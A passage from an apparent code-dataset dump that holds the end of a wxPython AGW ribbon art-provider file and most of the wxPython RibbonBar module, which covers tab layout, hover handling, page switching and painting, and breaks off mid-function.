dc.SetBrush(self._tool_hover_background_brush)\n dc.DrawRectangle(bg_rect.x, bg_rect.y, bg_rect.width, bg_rect.height)\n \n if state & RIBBON_TOOLBAR_TOOL_ACTIVE_MASK: \n active_rect = wx.Rect(*bg_rect)\n \n if kind == RIBBON_BUTTON_HYBRID: \n active_rect.width -= 8\n \n if state & RIBBON_TOOLBAR_TOOL_DROPDOWN_ACTIVE: \n active_rect.x += active_rect.width\n active_rect.width = 8\n \n dc.SetBrush(self._tool_active_background_brush)\n dc.DrawRectangle(active_rect.x, active_rect.y, active_rect.width, active_rect.height)\n\n # Border\n if is_custom_bg:\n dc.SetPen(self._toolbar_hover_borden_pen)\n else:\n dc.SetPen(self._toolbar_border_pen)\n \n if state & RIBBON_TOOLBAR_TOOL_FIRST == 0:\n existing = dc.GetPixel(rect.x, rect.y + 1)\n \n if existing == wx.NullColour or existing != self._toolbar_hover_borden_pen.GetColour(): \n dc.DrawLine(rect.x, rect.y + 1, rect.x, rect.y + rect.height - 1)\n \n if is_custom_bg:\n border_rect = wx.Rect(*bg_rect)\n border_rect.Inflate(1, 1)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(border_rect.x, border_rect.y, border_rect.width, border_rect.height)\n \n # Foreground\n avail_width = bg_rect.GetWidth()\n\n if kind != RIBBON_BUTTON_NORMAL: \n avail_width -= 8\n if is_split_hybrid: \n dc.DrawLine(rect.x + avail_width + 1, rect.y, rect.x + avail_width + 1, rect.y + rect.height)\n \n dc.DrawBitmap(self._toolbar_drop_bitmap, bg_rect.x + avail_width + 2, bg_rect.y + (bg_rect.height / 2) - 2, True)\n \n dc.DrawBitmap(bitmap, bg_rect.x + (avail_width - bitmap.GetWidth()) / 2, bg_rect.y + (bg_rect.height - bitmap.GetHeight()) / 2, True)\n\n", "id": "522124", "language": "Python", "matching_score": 6.157052516937256, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/ribbon/art_aui.py" }, { "content": "# --------------------------------------------------------------------------- #\n# RIBBONBAR Library wxPython IMPLEMENTATION\n#\n# Original C++ Code From <NAME>.\n#\n# Current wxRibbon Version Tracked: wxWidgets 2.9.0 SVN HEAD\n#\n#\n# Python Code By:\n#\n# <NAME>, @ 15 Oct 2009\n# Latest Revision: 12 Sep 2010, 10.00 GMT\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\"\"\"\nTop-level control in a ribbon user interface.\n\n\nDescription\n===========\n\nServes as a tabbed container for L{RibbonPage} - a ribbon user interface typically\nhas a ribbon bar, which contains one or more RibbonPages, which in turn each contains\none or more RibbonPanels, which in turn contain controls. While a L{RibbonBar} has\ntabs similar to a `wx.Notebook`, it does not follow the same API for adding pages.\nContainers like `wx.Notebook` can contain any type of window as a page, hence the\nnormal procedure is to create the sub-window and then call `wx.BookCtrlBase.AddPage()`.\n\nAs L{RibbonBar} can only have L{RibbonPage} as children (and a L{RibbonPage} can only\nhave a L{RibbonBar} as parent), when a page is created, it is automatically added to\nthe bar - there is no `AddPage` equivalent to call.\n\nAfter all pages have been created, and all controls and panels placed on those pages,\nL{Realize} must be called.\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n========================================== =========== ==========================================\nWindow Styles Hex Value Description\n========================================== =========== ==========================================\n``RIBBON_BAR_DEFAULT_STYLE`` 0x9 Defined as ``RIBBON_BAR_FLOW_HORIZONTAL`` | ``RIBBON_BAR_SHOW_PAGE_LABELS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS``\n``RIBBON_BAR_FOLDBAR_STYLE`` 0x1e Defined as ``RIBBON_BAR_FLOW_VERTICAL`` | ``RIBBON_BAR_SHOW_PAGE_ICONS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` | ``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS``\n``RIBBON_BAR_SHOW_PAGE_LABELS`` 0x1 Causes labels to be shown on the tabs in the ribbon bar.\n``RIBBON_BAR_SHOW_PAGE_ICONS`` 0x2 Causes icons to be shown on the tabs in the ribbon bar.\n``RIBBON_BAR_FLOW_HORIZONTAL`` 0x0 Causes panels within pages to stack horizontally.\n``RIBBON_BAR_FLOW_VERTICAL`` 0x4 Causes panels within pages to stack vertically.\n``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` 0x8 Causes extension buttons to be shown on panels (where the panel has such a button).\n``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS`` 0x10 Causes minimise buttons to be shown on panels (where the panel has such a button).\n========================================== =========== ==========================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n================================= =================================\nEvent Name Description\n================================= =================================\n``EVT_RIBBONBAR_PAGE_CHANGED`` Triggered after the transition from one page being active to a different page being active.\n``EVT_RIBBONBAR_PAGE_CHANGING`` Triggered prior to the transition from one page being active to a different page being active, and can veto the change.\n``EVT_RIBBONBAR_TAB_MIDDLE_DOWN`` Triggered when the middle mouse button is pressed on a tab.\n``EVT_RIBBONBAR_TAB_MIDDLE_UP`` Triggered when the middle mouse button is released on a tab.\n``EVT_RIBBONBAR_TAB_RIGHT_DOWN`` Triggered when the right mouse button is pressed on a tab.\n``EVT_RIBBONBAR_TAB_RIGHT_UP`` Triggered when the right mouse button is released on a tab.\n================================= =================================\n\n\nSee Also\n========\n\nL{RibbonPage}, L{RibbonPanel}\n\"\"\"\n\n\nimport wx\nimport types\n\nfrom control import RibbonControl\n\nfrom art_internal import RibbonPageTabInfo\nfrom art_msw import RibbonMSWArtProvider\nfrom art import *\n\nwxEVT_COMMAND_RIBBONBAR_PAGE_CHANGED = wx.NewEventType()\nwxEVT_COMMAND_RIBBONBAR_PAGE_CHANGING = wx.NewEventType()\nwxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_DOWN = wx.NewEventType()\nwxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_UP = wx.NewEventType()\nwxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_DOWN = wx.NewEventType()\nwxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_UP = wx.NewEventType()\n\nEVT_RIBBONBAR_PAGE_CHANGED = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_PAGE_CHANGED, 1)\nEVT_RIBBONBAR_PAGE_CHANGING = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_PAGE_CHANGING, 1)\nEVT_RIBBONBAR_TAB_MIDDLE_DOWN = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_DOWN, 1)\nEVT_RIBBONBAR_TAB_MIDDLE_UP = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_UP, 1)\nEVT_RIBBONBAR_TAB_RIGHT_DOWN = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_DOWN, 1)\nEVT_RIBBONBAR_TAB_RIGHT_UP = wx.PyEventBinder(wxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_UP, 1)\n\n\ndef SET_FLAG(variable, flag):\n\n refresh_tabs = False\n if variable & flag != flag:\n variable |= flag\n refresh_tabs = True\n\n return variable, refresh_tabs\n\n\ndef UNSET_FLAG(variable, flag):\n\n refresh_tabs = False\n if variable & flag:\n variable &= ~flag\n refresh_tabs = True \n\n return variable, refresh_tabs\n\n\nclass RibbonBarEvent(wx.NotifyEvent):\n \"\"\"\n Event used to indicate various actions relating to a L{RibbonBar}.\n\n See L{RibbonBar} for available event types.\n \"\"\"\n \n def __init__(self, command_type=None, win_id=0, page=None):\n \n wx.NotifyEvent.__init__(self, command_type, win_id)\n self._page = page\n\n self._isAllowed = True \n\n\n def GetPage(self):\n \"\"\"\n Returns the page being changed to, or being clicked on.\n \"\"\"\n\n return self._page\n\n \n def SetPage(self, page):\n \"\"\"\n Sets the page relating to this event.\n\n :param `page`: MISSING DESCRIPTION.\n\n \"\"\"\n\n self._page = page\n\n\n def Allow(self):\n\n self._isAllowed = True\n\n\n def Veto(self):\n\n self._isAllowed = False\n\n\n def IsAllowed(self):\n\n return self._isAllowed \n\n\nclass RibbonBar(RibbonControl):\n \n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize, agwStyle=RIBBON_BAR_DEFAULT_STYLE,\n validator=wx.DefaultValidator, name=\"RibbonBar\"):\n \"\"\"\n Default constructor.\n\n :param `parent`: Pointer to a parent window;\n :param `id`: Window identifier. If ``wx.ID_ANY``, will automatically create\n an identifier;\n :param `pos`: Window position. ``wx.DefaultPosition`` indicates that wxPython\n should generate a default position for the window;\n :param `size`: Window size. ``wx.DefaultSize`` indicates that wxPython should\n generate a default size for the window. If no suitable size can be found,\n the window will be sized to 20x20 pixels so that the window is visible but\n obviously not correctly sized;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n ========================================== =========== ==========================================\n Window Styles Hex Value Description\n ========================================== =========== ==========================================\n ``RIBBON_BAR_DEFAULT_STYLE`` 0x9 Defined as ``RIBBON_BAR_FLOW_HORIZONTAL`` | ``RIBBON_BAR_SHOW_PAGE_LABELS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS``\n ``RIBBON_BAR_FOLDBAR_STYLE`` 0x1e Defined as ``RIBBON_BAR_FLOW_VERTICAL`` | ``RIBBON_BAR_SHOW_PAGE_ICONS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` | ``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS``\n ``RIBBON_BAR_SHOW_PAGE_LABELS`` 0x1 Causes labels to be shown on the tabs in the ribbon bar.\n ``RIBBON_BAR_SHOW_PAGE_ICONS`` 0x2 Causes icons to be shown on the tabs in the ribbon bar.\n ``RIBBON_BAR_FLOW_HORIZONTAL`` 0x0 Causes panels within pages to stack horizontally.\n ``RIBBON_BAR_FLOW_VERTICAL`` 0x4 Causes panels within pages to stack vertically.\n ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` 0x8 Causes extension buttons to be shown on panels (where the panel has such a button).\n ``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS`` 0x10 Causes minimise buttons to be shown on panels (where the panel has such a button).\n ========================================== =========== ==========================================\n\n :param `validator`: the window validator;\n :param `name`: the window name.\n\n \"\"\"\n\n RibbonControl.__init__(self, parent, id, pos, size, style=wx.NO_BORDER)\n \n self._flags = 0\n self._tabs_total_width_ideal = 0\n self._tabs_total_width_minimum = 0\n self._tab_margin_left = 0\n self._tab_margin_right = 0\n self._tab_height = 0\n self._tab_scroll_amount = 0\n self._current_page = -1\n self._current_hovered_page = -1\n self._tab_scroll_left_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_right_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_buttons_shown = False\n self._pages = []\n\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeave)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnMouseLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnMouseLeftUp)\n self.Bind(wx.EVT_MIDDLE_DOWN, self.OnMouseMiddleDown)\n self.Bind(wx.EVT_MIDDLE_UP, self.OnMouseMiddleUp)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_RIGHT_DOWN, self.OnMouseRightDown)\n self.Bind(wx.EVT_RIGHT_UP, self.OnMouseRightUp)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n\n self.CommonInit(agwStyle)\n \n\n def AddPage(self, page):\n\n info = RibbonPageTabInfo()\n\n info.page = page\n info.active = False\n info.hovered = False\n # info.rect not set (intentional)\n\n dcTemp = wx.ClientDC(self)\n label = \"\"\n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS:\n label = page.GetLabel()\n \n icon = wx.NullBitmap\n if self._flags & RIBBON_BAR_SHOW_PAGE_ICONS:\n icon = page.GetIcon()\n\n info.ideal_width, info.small_begin_need_separator_width, \\\n info.small_must_have_separator_width, info.minimum_width = self._art.GetBarTabWidth(dcTemp, self, label, icon, info.ideal_width,\n info.small_begin_need_separator_width,\n info.small_must_have_separator_width, info.minimum_width)\n\n if not self._pages:\n self._tabs_total_width_ideal = info.ideal_width\n self._tabs_total_width_minimum = info.minimum_width\n else:\n sep = self._art.GetMetric(RIBBON_ART_TAB_SEPARATION_SIZE)\n self._tabs_total_width_ideal += sep + info.ideal_width\n self._tabs_total_width_minimum += sep + info.minimum_width\n\n self._pages.append(info)\n\n page.Hide() # Most likely case is that self new page is not the active tab\n page.SetArtProvider(self._art)\n\n if len(self._pages) == 1:\n self.SetActivePage(0)\n \n\n def DismissExpandedPanel(self):\n \"\"\"\n Dismiss the expanded panel of the currently active page.\n\n Calls and returns the value from L{RibbonPage.DismissExpandedPanel} for the\n currently active page, or ``False`` if there is no active page.\n \"\"\"\n\n if self._current_page == -1:\n return False\n \n return self._pages[self._current_page].page.DismissExpandedPanel()\n\n\n def SetAGWWindowStyleFlag(self, agwStyle):\n \"\"\"\n Sets the window style for L{RibbonBar}.\n\n :param `agwStyle`: can be a combination of the following bits:\n\n ========================================== =========== ==========================================\n Window Styles Hex Value Description\n ========================================== =========== ==========================================\n ``RIBBON_BAR_DEFAULT_STYLE`` 0x9 Defined as ``RIBBON_BAR_FLOW_HORIZONTAL`` | ``RIBBON_BAR_SHOW_PAGE_LABELS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS``\n ``RIBBON_BAR_FOLDBAR_STYLE`` 0x1e Defined as ``RIBBON_BAR_FLOW_VERTICAL`` | ``RIBBON_BAR_SHOW_PAGE_ICONS`` | ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` | ``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS``\n ``RIBBON_BAR_SHOW_PAGE_LABELS`` 0x1 Causes labels to be shown on the tabs in the ribbon bar.\n ``RIBBON_BAR_SHOW_PAGE_ICONS`` 0x2 Causes icons to be shown on the tabs in the ribbon bar.\n ``RIBBON_BAR_FLOW_HORIZONTAL`` 0x0 Causes panels within pages to stack horizontally.\n ``RIBBON_BAR_FLOW_VERTICAL`` 0x4 Causes panels within pages to stack vertically.\n ``RIBBON_BAR_SHOW_PANEL_EXT_BUTTONS`` 0x8 Causes extension buttons to be shown on panels (where the panel has such a button).\n ``RIBBON_BAR_SHOW_PANEL_MINIMISE_BUTTONS`` 0x10 Causes minimise buttons to be shown on panels (where the panel has such a button).\n ========================================== =========== ==========================================\n \n :note: Please note that some styles cannot be changed after the window creation\n and that `Refresh()` might need to be be called after changing the others for\n the change to take place immediately.\n \"\"\"\n\n self._flags = agwStyle\n \n if self._art:\n self._art.SetFlags(agwStyle)\n\n\n def GetAGWWindowStyleFlag(self):\n \"\"\"\n Returns the L{RibbonBar} window style flag.\n\n :see: L{SetAGWWindowStyleFlag} for a list of valid window styles.\n \"\"\"\n\n return self._flags\n\n\n def Realize(self):\n \"\"\"\n Perform initial layout and size calculations of the bar and its children.\n\n This must be called after all of the bar's children have been created (and their\n children created, etc.) - if it is not, then windows may not be laid out or\n sized correctly. Also calls L{RibbonPage.Realize} on each child page.\n \n Reimplemented from L{RibbonControl}.\n\n \"\"\"\n\n status = True\n\n dcTemp = wx.ClientDC(self)\n sep = self._art.GetMetric(RIBBON_ART_TAB_SEPARATION_SIZE)\n numtabs = len(self._pages)\n\n for i, info in enumerate(self._pages):\n \n self.RepositionPage(info.page)\n if not info.page.Realize():\n status = False\n \n label = \"\"\n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS:\n label = info.page.GetLabel()\n \n icon = wx.NullBitmap\n if self._flags & RIBBON_BAR_SHOW_PAGE_ICONS:\n icon = info.page.GetIcon()\n\n info.ideal_width, info.small_begin_need_separator_width, \\\n info.small_must_have_separator_width, \\\n info.minimum_width = self._art.GetBarTabWidth(dcTemp, self, label, icon, info.ideal_width,\n info.small_begin_need_separator_width, info.small_must_have_separator_width,\n info.minimum_width)\n\n if i == 0:\n self._tabs_total_width_ideal = info.ideal_width\n self._tabs_total_width_minimum = info.minimum_width\n else:\n self._tabs_total_width_ideal += sep + info.ideal_width\n self._tabs_total_width_minimum += sep + info.minimum_width\n \n self._tab_height = self._art.GetTabCtrlHeight(dcTemp, self, self._pages)\n\n self.RecalculateMinSize()\n self.RecalculateTabSizes()\n self.Refresh()\n\n return status\n\n\n def OnMouseMove(self, event):\n\n x, y = event.GetX(), event.GetY()\n hovered_page = -1\n refresh_tabs = False\n \n if y < self._tab_height:\n # It is quite likely that the mouse moved a small amount and is still over the same tab\n if self._current_hovered_page != -1 and self._pages[self._current_hovered_page].rect.Contains((x, y)):\n hovered_page = self._current_hovered_page\n # But be careful, if tabs can be scrolled, then parts of the tab rect may not be valid\n if self._tab_scroll_buttons_shown:\n if x >= self._tab_scroll_right_button_rect.GetX() or x < self._tab_scroll_left_button_rect.GetRight():\n hovered_page = -1\n \n else:\n \n hovered_page, dummy = self.HitTestTabs(event.GetPosition())\n\n if hovered_page != self._current_hovered_page:\n if self._current_hovered_page != -1:\n self._pages[self._current_hovered_page].hovered = False\n \n self._current_hovered_page = hovered_page\n if self._current_hovered_page != -1:\n self._pages[self._current_hovered_page].hovered = True\n \n refresh_tabs = True\n \n if self._tab_scroll_buttons_shown:\n if self._tab_scroll_left_button_rect.Contains((x, y)):\n self._tab_scroll_left_button_state, refresh_tabs = SET_FLAG(self._tab_scroll_left_button_state, RIBBON_SCROLL_BTN_HOVERED)\n else:\n self._tab_scroll_left_button_state, refresh_tabs = UNSET_FLAG(self._tab_scroll_left_button_state, RIBBON_SCROLL_BTN_HOVERED)\n\n if self._tab_scroll_right_button_rect.Contains((x, y)):\n self._tab_scroll_right_button_state, refresh_tabs = SET_FLAG(self._tab_scroll_right_button_state, RIBBON_SCROLL_BTN_HOVERED)\n else:\n self._tab_scroll_right_button_state, refresh_tabs = UNSET_FLAG(self._tab_scroll_right_button_state, RIBBON_SCROLL_BTN_HOVERED)\n \n if refresh_tabs:\n self.RefreshTabBar()\n \n\n def OnMouseLeave(self, event):\n\n # The ribbon bar is (usually) at the top of a window, and at least on MSW, the mouse\n # can leave the window quickly and leave a tab in the hovered state.\n refresh_tabs = False\n\n if self._current_hovered_page != -1:\n self._pages[self._current_hovered_page].hovered = False\n self._current_hovered_page = -1\n refresh_tabs = True\n \n if self._tab_scroll_left_button_state & RIBBON_SCROLL_BTN_HOVERED:\n self._tab_scroll_left_button_state &= ~RIBBON_SCROLL_BTN_HOVERED\n refresh_tabs = True\n \n if self._tab_scroll_right_button_state & RIBBON_SCROLL_BTN_HOVERED:\n self._tab_scroll_right_button_state &= ~RIBBON_SCROLL_BTN_HOVERED\n refresh_tabs = True\n \n if refresh_tabs:\n self.RefreshTabBar()\n \n\n def GetPage(self, n):\n \"\"\"\n Get a page by index.\n\n ``None`` will be returned if the given index is out of range.\n\n :param `n`: MISSING DESCRIPTION.\n\n \"\"\"\n\n if n < 0 or n >= len(self._pages):\n return 0\n \n return self._pages[n].page\n\n\n def SetActivePageByIndex(self, page):\n \"\"\"\n Set the active page by index, without triggering any events.\n \n :param `page`: The zero-based index of the page to activate.\n\n :returns: ``True`` if the specified page is now active, ``False`` if it could\n not be activated (for example because the page index is invalid).\n \"\"\"\n\n if self._current_page == page:\n return True\n\n if page >= len(self._pages):\n return False\n \n if self._current_page != -1:\n self._pages[self._current_page].active = False\n self._pages[self._current_page].page.Hide()\n \n self._current_page = page\n self._pages[page].active = True\n \n wnd = self._pages[page].page\n self.RepositionPage(wnd)\n wnd.Layout()\n wnd.Show()\n \n self.Refresh()\n\n return True\n\n\n def SetActivePageByPage(self, page):\n \"\"\"\n Set the active page, without triggering any events.\n\n :param `page`: The page to activate.\n\n :returns: ``True`` if the specified page is now active, ``False`` if it could\n not be activated (for example because the given page is not a child of the\n ribbon bar).\n \n \"\"\"\n\n for i in xrange(len(self._pages)):\n if self._pages[i].page == page:\n return self.SetActivePageByIndex(i)\n \n return False\n\n\n def SetActivePage(self, page):\n \"\"\" See comments on L{SetActivePageByIndex} and L{SetActivePageByPage}. \"\"\"\n\n if isinstance(page, types.IntType):\n return self.SetActivePageByIndex(page)\n\n return self.SetActivePageByPage(page)\n \n\n def GetActivePage(self):\n \"\"\"\n Get the index of the active page.\n\n In the rare case of no page being active, -1 is returned.\n \"\"\"\n\n return self._current_page\n\n\n def SetTabCtrlMargins(self, left, right):\n \"\"\"\n Set the margin widths (in pixels) on the left and right sides of the tab bar\n region of the ribbon bar.\n\n These margins will be painted with the tab background, but tabs and scroll\n buttons will never be painted in the margins. The left margin could be used for\n rendering something equivalent to the \"Office Button\", though this is not\n currently implemented. The right margin could be used for rendering a help\n button, and/or MDI buttons, but again, this is not currently implemented.\n\n :param `left`: MISSING DESCRIPTION;\n :param `right`: MISSING DESCRIPTION.\n\n \"\"\"\n\n self._tab_margin_left = left\n self._tab_margin_right = right\n\n self.RecalculateTabSizes()\n\n\n def OrderPageTabInfoBySmallWidthAsc(self, first, second):\n\n return first.small_must_have_separator_width - second.small_must_have_separator_width\n\n\n def RecalculateTabSizes(self):\n\n numtabs = len(self._pages)\n\n if numtabs == 0:\n return\n\n width = self.GetSize().GetWidth() - self._tab_margin_left - self._tab_margin_right\n tabsep = self._art.GetMetric(RIBBON_ART_TAB_SEPARATION_SIZE)\n x = self._tab_margin_left\n y = 0\n\n if width >= self._tabs_total_width_ideal:\n # Simple case: everything at ideal width\n for info in self._pages:\n info.rect.x = x\n info.rect.y = y\n info.rect.width = info.ideal_width\n info.rect.height = self._tab_height\n x += info.rect.width + tabsep\n \n self._tab_scroll_buttons_shown = False\n self._tab_scroll_left_button_rect.SetWidth(0)\n self._tab_scroll_right_button_rect.SetWidth(0)\n \n elif width < self._tabs_total_width_minimum:\n # Simple case: everything minimum with scrollbar\n for info in self._pages: \n info.rect.x = x\n info.rect.y = y\n info.rect.width = info.minimum_width\n info.rect.height = self._tab_height\n x += info.rect.width + tabsep\n \n if not self._tab_scroll_buttons_shown: \n self._tab_scroll_left_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_right_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_buttons_shown = True\n \n temp_dc = wx.ClientDC(self)\n self._tab_scroll_left_button_rect.SetWidth(self._art.GetScrollButtonMinimumSize(temp_dc, self,\n RIBBON_SCROLL_BTN_LEFT | RIBBON_SCROLL_BTN_NORMAL |\n RIBBON_SCROLL_BTN_FOR_TABS).GetWidth())\n self._tab_scroll_left_button_rect.SetHeight(self._tab_height)\n self._tab_scroll_left_button_rect.SetX(self._tab_margin_left)\n self._tab_scroll_left_button_rect.SetY(0)\n self._tab_scroll_right_button_rect.SetWidth(self._art.GetScrollButtonMinimumSize(temp_dc, self,\n RIBBON_SCROLL_BTN_RIGHT | RIBBON_SCROLL_BTN_NORMAL |\n RIBBON_SCROLL_BTN_FOR_TABS).GetWidth())\n self._tab_scroll_right_button_rect.SetHeight(self._tab_height)\n self._tab_scroll_right_button_rect.SetX(self.GetClientSize().GetWidth() - self._tab_margin_right - self._tab_scroll_right_button_rect.GetWidth())\n self._tab_scroll_right_button_rect.SetY(0)\n \n if self._tab_scroll_amount == 0:\n self._tab_scroll_left_button_rect.SetWidth(0)\n \n elif self._tab_scroll_amount + width >= self._tabs_total_width_minimum:\n self._tab_scroll_amount = self._tabs_total_width_minimum - width\n self._tab_scroll_right_button_rect.SetX(self._tab_scroll_right_button_rect.GetX() + self._tab_scroll_right_button_rect.GetWidth())\n self._tab_scroll_right_button_rect.SetWidth(0)\n \n for info in self._pages:\n info.rect.x -= self._tab_scroll_amount\n \n else:\n self._tab_scroll_buttons_shown = False\n self._tab_scroll_left_button_rect.SetWidth(0)\n self._tab_scroll_right_button_rect.SetWidth(0)\n # Complex case: everything sized such that: minimum <= width < ideal\n #\n # Strategy:\n # 1) Uniformly reduce all tab widths from ideal to small_must_have_separator_width\n # 2) Reduce the largest tab by 1 pixel, repeating until all tabs are same width (or at minimum)\n # 3) Uniformly reduce all tabs down to their minimum width\n #\n smallest_tab_width = 10000\n total_small_width = tabsep * (numtabs - 1)\n\n for info in self._pages:\n if info.small_must_have_separator_width < smallest_tab_width: \n smallest_tab_width = info.small_must_have_separator_width\n \n total_small_width += info.small_must_have_separator_width\n \n if width >= total_small_width:\n # Do (1)\n total_delta = self._tabs_total_width_ideal - total_small_width\n total_small_width -= tabsep*(numtabs - 1)\n width -= tabsep*(numtabs - 1)\n for info in self._pages:\n delta = info.ideal_width - info.small_must_have_separator_width\n info.rect.x = x\n info.rect.y = y\n info.rect.width = info.small_must_have_separator_width + delta*(width - total_small_width)/total_delta\n info.rect.height = self._tab_height\n\n x += info.rect.width + tabsep\n total_delta -= delta\n total_small_width -= info.small_must_have_separator_width\n width -= info.rect.width\n \n else:\n \n total_small_width = tabsep*(numtabs - 1)\n for info in self._pages:\n if info.minimum_width < smallest_tab_width:\n total_small_width += smallest_tab_width\n else: \n total_small_width += info.minimum_width\n \n if width >= total_small_width:\n # Do (2)\n sorted_pages = []\n for info in self._pages:\n # Sneaky obj array trickery to not copy the tab descriptors\n sorted_pages.append(info)\n \n sorted_pages.sort(self.OrderPageTabInfoBySmallWidthAsc)\n width -= tabsep*(numtabs - 1)\n\n for i, info in enumerate(self._pages):\n if info.small_must_have_separator_width*(numtabs - i) <= width:\n info.rect.width = info.small_must_have_separator_width\n else: \n info.rect.width = width/(numtabs - i)\n \n width -= info.rect.width\n \n for i, info in enumerate(self._pages):\n info.rect.x = x\n info.rect.y = y\n info.rect.height = self._tab_height\n x += info.rect.width + tabsep\n sorted_pages.pop(numtabs - (i + 1))\n \n else:\n \n # Do (3)\n total_small_width = (smallest_tab_width + tabsep)*numtabs - tabsep\n total_delta = total_small_width - self._tabs_total_width_minimum\n total_small_width = self._tabs_total_width_minimum - tabsep*(numtabs - 1)\n width -= tabsep*(numtabs - 1)\n \n for info in self._pages:\n delta = smallest_tab_width - info.minimum_width\n info.rect.x = x\n info.rect.y = y\n info.rect.width = info.minimum_width + delta*(width - total_small_width)/total_delta\n info.rect.height = self._tab_height\n\n x += info.rect.width + tabsep\n total_delta -= delta\n total_small_width -= info.minimum_width\n width -= info.rect.width\n\n\n def CommonInit(self, agwStyle):\n\n self.SetName(\"RibbonBar\")\n\n self._flags = agwStyle\n self._tabs_total_width_ideal = 0\n self._tabs_total_width_minimum = 0\n self._tab_margin_left = 50\n self._tab_margin_right = 20\n self._tab_height = 20 # initial guess\n self._tab_scroll_amount = 0\n self._current_page = -1\n self._current_hovered_page = -1\n self._tab_scroll_left_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_right_button_state = RIBBON_SCROLL_BTN_NORMAL\n self._tab_scroll_buttons_shown = False\n self._tab_scroll_left_button_rect = wx.Rect()\n self._tab_scroll_right_button_rect = wx.Rect()\n\n if not self._art:\n self.SetArtProvider(RibbonMSWArtProvider())\n \n self.SetBackgroundStyle(wx.BG_STYLE_CUSTOM)\n\n\n def SetArtProvider(self, art):\n \"\"\"\n Set the art provider to be used be the ribbon bar.\n\n Also sets the art provider on all current L{RibbonPage} children, and any\n L{RibbonPage} children added in the future.\n\n Note that unlike most other ribbon controls, the ribbon bar creates a default\n art provider when initialised, so an explicit call to L{SetArtProvider} is\n not required if the default art provider is sufficient. Also unlike other\n ribbon controls, the ribbon bar takes ownership of the given pointer, and\n will delete it when the art provider is changed or the bar is destroyed.\n\n If this behaviour is not desired, then clone the art provider before setting\n it.\n\n Reimplemented from L{RibbonControl}.\n\n :param `art`: MISSING DESCRIPTION.\n\n \"\"\"\n\n self._art = art\n\n if art:\n art.SetFlags(self._flags)\n \n for info in self._pages:\n if info.page.GetArtProvider() != art:\n info.page.SetArtProvider(art)\n \n\n def OnPaint(self, event):\n\n dc = wx.AutoBufferedPaintDC(self)\n\n if not self.GetUpdateRegion().ContainsRect(wx.Rect(0, 0, self.GetClientSize().GetWidth(), self._tab_height)):\n # Nothing to do in the tab area, and the page area is handled by the active page\n return\n \n self.DoEraseBackground(dc)\n\n numtabs = len(self._pages)\n sep_visibility = 0.0\n draw_sep = False\n tabs_rect = wx.Rect(self._tab_margin_left, 0, self.GetClientSize().GetWidth() - self._tab_margin_left - self._tab_margin_right, self._tab_height)\n \n if self._tab_scroll_buttons_shown:\n tabs_rect.x += self._tab_scroll_left_button_rect.GetWidth()\n tabs_rect.width -= self._tab_scroll_left_button_rect.GetWidth() + self._tab_scroll_right_button_rect.GetWidth()\n \n for info in self._pages:\n dc.DestroyClippingRegion()\n if self._tab_scroll_buttons_shown:\n if not tabs_rect.Intersects(info.rect):\n continue\n dc.SetClippingRect(tabs_rect)\n \n dc.SetClippingRect(info.rect)\n self._art.DrawTab(dc, self, info)\n\n if info.rect.width < info.small_begin_need_separator_width:\n draw_sep = True\n if info.rect.width < info.small_must_have_separator_width:\n sep_visibility += 1.0\n else: \n sep_visibility += float(info.small_begin_need_separator_width - info.rect.width)/ \\\n float(info.small_begin_need_separator_width - info.small_must_have_separator_width)\n \n if draw_sep:\n \n rect = wx.Rect(*self._pages[0].rect)\n rect.width = self._art.GetMetric(RIBBON_ART_TAB_SEPARATION_SIZE)\n sep_visibility /= float(numtabs)\n \n for i in xrange(0, numtabs-1):\n info = self._pages[i]\n rect.x = info.rect.x + info.rect.width\n\n if 